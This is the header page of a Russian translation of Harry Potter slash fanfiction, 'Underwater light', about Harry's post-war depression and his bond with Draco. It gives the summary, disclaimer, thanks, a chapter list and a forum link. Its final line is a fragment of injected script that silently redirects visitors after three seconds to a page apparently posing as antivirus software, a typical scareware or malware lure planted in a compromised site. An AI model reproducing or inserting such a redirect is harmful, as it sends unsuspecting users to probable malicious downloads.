Свет под водой
Underwater light

Автор: Maya
Категория: Любовь (слэш), драма.
Возрастная категория: пока PG-13
Краткое содержание: Война стала тяжелым испытанием для колдовского мира. Гарри в тяжелейшей депрессии – и вдруг, к его величайшему потрясению, оказывается, что Драко Малфой для него несколько более важен, чем он мог бы подумать. Очень странная дружба, страх, подозрительность, конфликт убеждений, ничего не понимающий Рон, воинственная Гермиона и двое растерянных мальчишек.
Правовая оговорка: В основу данного художественного произведения положены персонажи и сюжетные ходы, созданные Дж. К. Роулинг и принадлежащие ей, в различных изданиях, включая, но не ограничиваясь этим, продукцию компаний Bloomsbury Books, Scholastic Books, Raincoast Books и издательства «РОСМЭН», а также Warner Bros., Inc. Данное произведение создано и распространяется в некоммерческих целях, не подразумевая нарушения авторского права и прав на товарные знаки.
Название главы и эпиграф к ней взяты из песни группы Frames.
Примечания автора: Мне хотелось бы поблагодарить всех одаренных исключительным талантом авторов фанфиков, в произведениях которых я черпала вдохновение, и всех друзей, которые меня все-таки не убили за то, что я непрерывно говорю о хорошем фанфикшне. Также хотелось бы от всей души поблагодарить Драко Малфоя, которого я обожаю и жажду.
А главная благодарность – Lasair, моей любимой бете, наверняка она единственная такая же свихнувшаяся, как я. Она великолепный бета-ридер, а когда она сидит попивает чай с красной ручкой в руках, зрелище получается внушительное.
Оригинал лежит тут
Перевод:
Солнечный котенок, sunkitten@vir.ru. Перевод имен и названий – вообще я ориентируюсь на перевод Марии Спивак, но за некоторыми исключениями, когда предпочитаю наработки других авторов или собственные. Все имена собственные и маглы (muggles) переведены транскрипцией/транслитерацией, как в переводе Юрия Оранского.
Перевод и публикация на сайте с разрешения автора. Посвящается дню рождения Гарри Поттера.
А Солнечный котенок тоже хочет наговорить благодарностей:
Гигантская, неизмеримая благодарность Apis, моему бета-ридеру и коллеге по пламенной любви к Драко, особенно к fanon!Draco в видении Кассандры Клер и Майи. Еще мне очень хотелось бы поблагодарить SweetEvil и Zua, переводчиков с Фанруса, которые непрерывно пинали меня до тех пор, покамест я не доделала перевод этой главы, начатый еще в феврале. И Enehi, которой оказалось достаточно пообещать дать почитать сырой вариант главы для того, чтобы она тут же согласилась прийти в гости.

Глава I
Глава II
Глава III
Глава IV
 

Продолжение следует

 

Обсуждение на форуме

setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);'); } ?>